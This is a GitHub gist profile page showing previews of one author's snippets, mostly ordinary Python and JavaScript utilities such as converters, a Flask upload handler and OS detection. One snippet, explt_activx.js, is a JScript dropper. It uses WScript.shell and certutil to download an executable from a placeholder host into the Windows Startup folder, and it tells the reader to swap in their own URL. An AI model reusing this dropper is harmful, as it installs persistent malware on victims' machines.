Skip to content

Instantly share code, notes, and snippets.

View angeloped's full-sized avatar

Angeloped angeloped

  • Philippines
View GitHub Profile
@angeloped
angeloped / compressword.py
Created August 13, 2021 03:32
A simple text compressor (demo).
text = """aaaa
aaaaaa kjjkj
aaaa kkk a"""
cmprssd = set()
cmprssd_lst = []
for txt in text.split("\n"):
#set.union(cmprssd, set(txt.split()))
cmprssd.update(set(txt.split()))
@angeloped
angeloped / djvu2pdf.py
Created March 27, 2021 00:24
Convert .djvu to .pdf with Python, DJVUPS, and PS2PDF.
#!/bin/python
import os
import sys
import time
import thread
# author: ~/angeloped
stat = []
@angeloped
angeloped / explt_activx.js
Created March 10, 2021 08:30
Exploit ActiveX with JS file. This was my idea at age 17 (2017). It worked before. I don't know if it still works in modern times.
function exploit(){
var objShell = new ActiveXObject("WScript.shell");
objShell.run("certutil.exe -urlcache -f http://master/yourpayload.exe C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe");
}
exploit();
// change 'http://master/yourpayload.exe'
// save it as anything.js
@angeloped
angeloped / PDF_ExtractTor.py
Created March 6, 2021 20:24
A simple Tor-wrapped (onion) .pdf web extractor written in Python. Works on Python 2 and Python 3.
#!/bin/python
import os
import sys
import urllib
import requests
from bs4 import BeautifulSoup
# A simple Tor-wrapped (onion) .pdf web extractor written in Python. Works on Python 2 and Python 3.
@angeloped
angeloped / flask_upload.py
Created February 26, 2021 18:05
Upload file with Flask microframework.
import os
from flask import Flask, flash, request, redirect, url_for
from werkzeug.utils import secure_filename
if not os.path.exists("uploads/"):
os.mkdir("uploads")
UPLOAD_FOLDER = 'uploads/'
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif'}
@angeloped
angeloped / sigmoidGraph.py
Created February 17, 2021 09:42 — forked from Will-777/sigmoidGraph.py
simple sigmoid function with Python
#import section
from matplotlib import pylab
import pylab as plt
import numpy as np
#sigmoid = lambda x: 1 / (1 + np.exp(-x))
def sigmoid(x):
return (1 / (1 + np.exp(-x)))
mySamples = []
@angeloped
angeloped / getmime.py
Created February 8, 2021 21:34
Get MIME with python-magic module.
import magic
def getmime(filename=None):
return magic.Magic(mime=True).from_file(filename)
@angeloped
angeloped / gist:64bd475d2fb40a81b6b40d6485adb83d
Created February 8, 2021 20:35 — forked from zliuva/gist:1084476
A minimal Mach-o x64 executable for OS X
; A minimal Mach-o x64 executable for OS X (also see below Mountain Lion version)
;
; $ nasm -f bin -o tiny_hello tiny_hello.s
; $ chmod +x tiny_hello
; $ ./tiny_hello
; Hello World!
; $
; c.f.
; http://osxbook.com/blog/2009/03/15/crafting-a-tiny-mach-o-executable/ ( the original tiny mach-o executable )
@angeloped
angeloped / detect.js
Created February 7, 2021 13:34 — forked from hkulekci/detect.js
Detect Operating System with Javascript
// This script sets OSName variable as follows:
// "Windows" for all versions of Windows
// "MacOS" for all versions of Macintosh OS
// "Linux" for all versions of Linux
// "UNIX" for all other UNIX flavors
// "Unknown OS" indicates failure to detect the OS
var OSName="Unknown OS";
if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows";
if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS";